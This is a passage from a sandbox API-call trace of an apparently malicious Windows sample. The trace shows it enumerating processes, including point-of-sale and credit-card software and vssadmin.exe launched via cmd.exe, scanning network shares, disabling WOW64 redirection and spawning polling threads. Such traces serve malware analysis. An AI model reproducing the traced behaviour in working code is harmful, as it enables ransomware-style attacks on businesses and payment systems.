dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0082.631] lstrlenW (lpString="ccv_server.exe") returned 14 [0082.631] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0083.003] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0083.003] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0083.004] lstrlenW (lpString="creditservice.exe") returned 17 [0083.004] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0083.005] lstrlenW (lpString="edcsvr.exe") returned 10 [0083.005] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0083.005] lstrlenW (lpString="fpos.exe") returned 8 [0083.005] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0083.006] lstrlenW (lpString="isspos.exe") returned 10 [0083.006] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0083.006] lstrlenW (lpString="mxslipstream.exe") returned 16 [0083.006] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0083.007] lstrlenW (lpString="omnipos.exe") returned 11 [0083.007] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0083.007] lstrlenW (lpString="spcwin.exe") returned 10 [0083.007] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0083.008] lstrlenW (lpString="spgagentservice.exe") returned 19 [0083.008] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0083.008] lstrlenW (lpString="utg2.exe") returned 8 [0083.008] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0083.009] lstrlenW (lpString="nj_sh.exe") returned 9 [0083.009] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0083.009] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0083.009] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0083.010] lstrlenW (lpString="telecommunications.exe") returned 22 [0083.010] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0083.010] lstrlenW (lpString="sound banking.exe") returned 17 [0083.010] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0083.011] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0083.011] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0083.011] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0083.011] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.012] lstrlenW (lpString="taskhost.exe") returned 12 [0083.012] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0083.012] lstrlenW (lpString="winhost.exe") returned 11 [0083.012] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0083.012] lstrlenW (lpString="cmd.exe") returned 7 [0083.013] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.013] lstrlenW (lpString="conhost.exe") returned 11 [0083.013] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0083.013] lstrlenW (lpString="vssadmin.exe") returned 12 [0083.013] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0083.014] lstrlenW (lpString="VSSVC.exe") returned 9 [0083.014] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.014] lstrlenW (lpString="svchost.exe") returned 11 [0083.014] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0083.015] lstrlenW (lpString="LogonUI.exe") returned 11 [0083.015] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0083.015] CloseHandle (hObject=0x168) returned 1 [0083.015] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xb18 [0059.294] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0059.295] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e4a38 | out: hHeap=0x4b0000) returned 1 Thread: id = 6 os_tid = 0xb14 [0059.295] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0059.295] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e5c58 [0059.295] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5c58, Size=0x40) returned 0x4e6c38 [0059.296] GetLogicalDrives () returned 0x4 [0059.296] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51e4a0 [0059.296] GetComputerNameW (in: lpBuffer=0x51e4a4, nSize=0x24aff6c | out: lpBuffer="XDUWTFONO", nSize=0x24aff6c) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x52e4a8 [0059.297] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24aff3c | out: lphEnum=0x24aff3c*=0x4e61e8) returned 0x0 [0059.297] WNetEnumResourceW (in: hEnum=0x4e61e8, lpcCount=0x24aff38, lpBuffer=0x52e4a8, lpBufferSize=0x24aff40 | out: lpcCount=0x24aff38, lpBuffer=0x52e4a8, lpBufferSize=0x24aff40) returned 0x103 [0059.297] WNetCloseEnum (hEnum=0x4e61e8) returned 0x0 [0059.297] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24aff3c | out: lphEnum=0x24aff3c*=0x3ed14e0) returned 0x0 [0064.809] WNetEnumResourceW (in: hEnum=0x3ed14e0, lpcCount=0x24aff38, lpBuffer=0x52e4a8, lpBufferSize=0x24aff40 | out: lpcCount=0x24aff38, lpBuffer=0x52e4a8, lpBufferSize=0x24aff40) returned 0x0 [0064.809] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x3f23b10 [0064.809] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e4a8, lphEnum=0x24aff10 | out: lphEnum=0x24aff10*=0x4e6368) returned 0x0 [0065.192] WNetEnumResourceW (in: hEnum=0x4e6368, lpcCount=0x24aff0c, lpBuffer=0x3f23b10, lpBufferSize=0x24aff14 | out: lpcCount=0x24aff0c, lpBuffer=0x3f23b10, lpBufferSize=0x24aff14) returned 0x103 [0065.192] WNetCloseEnum (hEnum=0x4e6368) returned 0x0 [0065.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x5a4238 [0065.192] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e4c8, lphEnum=0x24aff10) Thread: id = 7 os_tid = 0xa28 [0060.544] GetTickCount () returned 0x1145abe [0060.544] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4fbf90 [0060.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0060.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0060.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0060.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0060.550] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500278 [0060.550] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500278, Size=0x20) returned 0x4e5d48 [0060.550] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500278 [0060.550] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500278, Size=0x20) returned 0x4e5d70 [0060.551] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.552] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.552] Wow64DisableWow64FsRedirection (in: OldValue=0x25aff84 | out: OldValue=0x25aff84*=0x0) returned 1 [0060.552] lstrlenW (lpString="kernel32.dll") returned 12 [0060.552] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5d48 | out: hHeap=0x4b0000) returned 1 [0060.552] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.552] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5d70 | out: hHeap=0x4b0000) returned 1 [0060.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4eb430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0060.554] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.885] GetTickCount () returned 0x1145b79 [0060.886] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.091] GetTickCount () returned 0x1145c44 [0061.091] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.121] GetTickCount () returned 0x1145d0f [0062.121] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.386] GetTickCount () returned 0x1145d9b [0062.386] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.632] GetTickCount () returned 0x1145e95 [0062.632] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.023] GetTickCount () returned 0x114600b [0063.023] GetTickCount () returned 0x114600b [0063.023] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.238] GetTickCount () returned 0x114628b [0064.238] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.767] GetTickCount () returned 0x114647e [0064.767] GetTickCount () returned 0x114647e [0064.767] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.383] GetTickCount () returned 0x1146633 [0065.383] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.838] GetTickCount () returned 0x11467e7 [0065.838] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0066.385] GetTickCount () returned 0x11469ea [0066.385] GetTickCount () returned 0x11469ea [0066.385] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0067.127] GetTickCount () returned 0x1146b80 [0067.127] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0067.715] GetTickCount () returned 0x1146cf6 [0067.715] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0068.090] GetTickCount () returned 0x1146e2e [0068.090] GetTickCount () returned 0x1146e2e [0068.090] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0068.198] GetTickCount () returned 0x1146e9b [0068.198] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0068.449] GetTickCount () returned 0x1146f76 [0068.449] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0069.602] GetTickCount () returned 0x11470bd [0069.602] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0070.065] GetTickCount () returned 0x1147272 [0070.065] GetTickCount () returned 0x1147272 [0070.065] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0070.308] GetTickCount () returned 0x114736c [0070.310] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0070.717] GetTickCount () returned 0x1147501 [0070.717] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0071.367] GetTickCount () returned 0x11476b6 [0071.367] GetTickCount () returned 0x11476b6 [0071.367] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0072.743] GetTickCount () returned 0x114781d [0072.743] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0073.207] GetTickCount () returned 0x1147965 [0073.207] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0073.649] GetTickCount () returned 0x1147b19 [0073.649] GetTickCount () returned 0x1147b19 [0073.649] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0074.051] GetTickCount () returned 0x1147c9f [0074.051] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0074.295] GetTickCount () returned 0x1147d5b [0074.295] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0074.639] GetTickCount () returned 0x1147eb2 [0074.639] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0075.135] GetTickCount () returned 0x11480a5 [0075.135] GetTickCount () returned 0x11480a5 [0075.135] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0075.585] GetTickCount () returned 0x114824a [0075.585] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0076.094] GetTickCount () returned 0x114844d [0076.094] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0076.549] GetTickCount () returned 0x1148611 [0076.549] GetTickCount () returned 0x1148611 [0076.549] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0076.833] GetTickCount () returned 0x114872a [0076.833] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0077.113] GetTickCount () returned 0x1148843 [0077.113] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0077.458] GetTickCount () returned 0x114899a [0077.458] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0077.915] GetTickCount () returned 0x1148b4f [0077.915] GetTickCount () returned 0x1148b4f [0077.915] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0078.414] GetTickCount () returned 0x1148ca6 [0078.414] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0078.513] GetTickCount () returned 0x1148d13 [0078.513] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0078.626] GetTickCount () returned 0x1148d81 [0078.626] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0078.888] GetTickCount () returned 0x1148e8a [0078.888] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0079.258] GetTickCount () returned 0x1148ff1 [0079.258] GetTickCount () returned 0x1148ff1 [0079.258] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0079.580] GetTickCount () returned 0x1149138 [0079.580] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0079.823] GetTickCount () returned 0x1149232 [0079.823] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0080.347] GetTickCount () returned 0x1149435 [0080.347] GetTickCount () returned 0x1149435 [0080.347] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0080.490] GetTickCount () returned 0x11494c1 [0080.490] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0080.587] GetTickCount () returned 0x114952e [0080.587] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0080.880] GetTickCount () returned 0x1149647 [0080.880] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0081.155] GetTickCount () returned 0x1149760 [0081.156] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0081.471] GetTickCount () returned 0x1149898 [0081.471] GetTickCount () returned 0x1149898 [0081.471] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0081.912] GetTickCount () returned 0x1149a5c [0081.912] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0082.250] GetTickCount () returned 0x1149ba4 [0082.250] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0082.967] GetTickCount () returned 0x1149e72 [0082.967] GetTickCount () returned 0x1149e72 [0082.967] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0083.326] GetTickCount () returned 0x1149fc9 [0083.326] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xa00 [0060.545] GetTickCount () returned 0x1145abe [0060.545] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x500fa8 [0060.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x500fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0060.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x500fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0060.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x500fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0060.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x500fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0060.552] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500278 [0060.552] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500278, Size=0x20) returned 0x4e5d70 [0060.552] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500278 [0060.553] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500278, Size=0x20) returned 0x4e5d48 [0060.553] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.553] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.553] Wow64DisableWow64FsRedirection (in: OldValue=0x26aff84 | out: OldValue=0x26aff84*=0x0) returned 1 [0060.553] lstrlenW (lpString="kernel32.dll") returned 12 [0060.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5d70 | out: hHeap=0x4b0000) returned 1 [0060.553] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5d48 | out: hHeap=0x4b0000) returned 1 [0060.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x50d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0060.554] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.885] GetTickCount () returned 0x1145b79 [0060.885] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.091] GetTickCount () returned 0x1145c44 [0061.091] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.121] GetTickCount () returned 0x1145d0f [0062.121] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.386] GetTickCount () returned 0x1145d9b [0062.386] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.632] GetTickCount () returned 0x1145e95 [0062.632] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.023] GetTickCount () returned 0x114600b [0063.023] GetTickCount () returned 0x114600b [0063.023] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.238] GetTickCount () returned 0x114628b [0064.238] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.768] GetTickCount () returned 0x114647e [0064.768] GetTickCount () returned 0x114647e [0064.768] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.383] GetTickCount () returned 0x1146633 [0065.383] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.838] GetTickCount () returned 0x11467e7 [0065.838] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0066.385] GetTickCount () returned 0x11469ea [0066.385] GetTickCount () returned 0x11469ea [0066.385] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0067.126] GetTickCount () returned 0x1146b80 [0067.126] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0067.715] GetTickCount () returned 0x1146cf6 [0067.715] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0068.090] GetTickCount () returned 0x1146e2e [0068.090] GetTickCount () returned 0x1146e2e [0068.090] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0068.198] GetTickCount () returned 0x1146e9b [0068.198] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0068.449] GetTickCount () returned 0x1146f76 [0068.449] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0069.602] GetTickCount () returned 0x11470bd [0069.602] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0070.065] GetTickCount () returned 0x1147272 [0070.065] GetTickCount () returned 0x1147272 [0070.065] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0070.308] GetTickCount () returned 0x114736c [0070.308] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0070.717] GetTickCount () returned 0x1147501 [0070.717] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0071.367] GetTickCount () returned 0x11476b6 [0071.367] GetTickCount () returned 0x11476b6 [0071.367] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0072.743] GetTickCount () returned 0x114781d [0072.743] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0073.207] GetTickCount () returned 0x1147965 [0073.207] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0073.649] GetTickCount () returned 0x1147b19 [0073.649] GetTickCount () returned 0x1147b19 